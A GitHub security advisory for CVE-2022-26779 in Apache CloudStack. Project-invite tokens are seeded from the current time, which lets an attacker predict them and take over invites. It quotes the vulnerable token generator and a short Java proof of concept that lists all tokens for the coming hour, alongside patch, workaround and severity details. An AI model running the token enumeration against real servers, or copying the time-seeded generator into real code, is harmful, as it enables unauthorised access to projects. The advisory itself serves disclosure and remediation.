apache/cloudstack: Privileged escalation due to Predictable Seed in Pseudo-Random Number Generator (PRNG) and Use of Insufficiently Random Values

Moderate JLLeitschuh published GHSA-vpcc-9rh2-8jfp on Mar 10

Package

apache/cloudstack (None)

Affected versions	Patched versions
<= 4.16.0.0	4.16.1.0

Description

Impact

Apache Cloudstack contains a privileged escalation vulnerability in the invite to project logic due to a predictable seed used in a PRNG.

Details

When inviting a user or account to a project via the email, the methods `ProjectManagerImpl.inviteAccountToProject` or `ProjectManagerImpl.inviteUserToProject` are invoked, and a random token is emailed to the invitee to allow them to join the project.

- https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L849-L873
- https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L875-L895

However, this random token is generated predictably using the method `generateToken` with the value of `10` using `System.currentTimeMillis()` as the seed for the random number generator.

- https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1350-L1359

```
public static String generateToken(int length) {
    String charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    Random rand = new Random(System.currentTimeMillis());
    StringBuffer sb = new StringBuffer();
    for (int i = 0; i < length; i++) {
        int pos = rand.nextInt(charset.length());
        sb.append(charset.charAt(pos));
    }
    return sb.toString();
}
```

As such, if an attacker knows around the time an invite was generated to invite another user, that attacker would be able to leverage the invite token to impersonate the invited user's invite acceptance.

The invite is stored in the database, but other than "having the secret token" there is no further checks that occur to ensure that the user taking advantage of the token is the user that the token was assigned to.

The site where the project invite is looked up form the database:

- https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1202
  Notice how the account of the current user making the request isn't included in the lookup.

The user that is the current caller is pulled from the request here:

- https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1189-L1190

Then, that accepted invite is assigned to the calling user here:

- https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1234
- https://github.com/apache/cloudstack/blob/f15cab16dab1fc6ae6576f9e5a6a3a1eec76e5a1/server/src/main/java/com/cloud/projects/ProjectManagerImpl.java#L1241

As such, an attacker is able to leverage an invite a project that they were never sent because they can compute the value of the invite token.

Proof Of Concept

The following code will print out all of the possible secret tokens for the next hour:

```
public static String generateToken(long time, int length) {
    String charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    Random rand = new Random(time);
    StringBuffer sb = new StringBuffer();
```

```
        for (int i = 0; i < length; i++) {
            int pos = rand.nextInt(charset.length());
            sb.append(charset.charAt(pos));
        }
        return sb.toString();
    }

    public static void main(String[] args) {
        long startTime = System.currentTimeMillis();
        LongStream
            .rangeClosed(startTime + 0, startTime + (long) (3_600_000))
            .parallel()
            .mapToObj(time -> generateToken(time, 10))
            .forEach(System.out::println);
    }
```

Patches

- apache/cloudstack@ `3fc4ef4`

Workarounds

When executing the `addAccountToProject` API call, don't invite by email. Only invite by existing account or user.

Mitigating Factors

`project.invite.required` is false by default and is something that must be enabled by end-users explicitly.

References

- https://owasp.org/www-community/vulnerabilities/Insecure_Randomness

For more information

Open an issue with the Apache Cloudstack team here: https://github.com/apache/cloudstack/issues

Severity

Moderate 6.7 / 10

CVSS base metrics

Attack vector	Network
Attack complexity	High
Privileges required	Low
User interaction	Required

User Interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	Low

CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L

CVE ID

CVE-2022-26779

Weaknesses

CWE-330 CWE-337

Credits

 JLLeitschuh